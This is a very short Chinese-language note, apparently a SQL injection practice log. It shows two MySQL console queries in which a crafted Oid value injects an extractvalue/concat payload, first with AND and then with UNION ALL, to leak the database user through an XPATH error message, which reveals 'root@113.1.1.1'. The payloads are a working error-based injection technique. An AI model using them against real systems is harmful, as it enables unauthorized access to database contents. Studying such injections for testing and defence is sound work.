extractvalue提示Empty set

mysql> select * from web_member_data where Oid='1ogout′and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#' and Status=0;
Empty set

 

改用union

mysql> select * from web_member_data where Oid='1'UNION ALL SELECT (extractvalue(1,concat(0x7e,(select user()),0x7e)))#' and Status=0;
-> ;
1105 - XPATH syntax error: '~root@113.1.1.1~'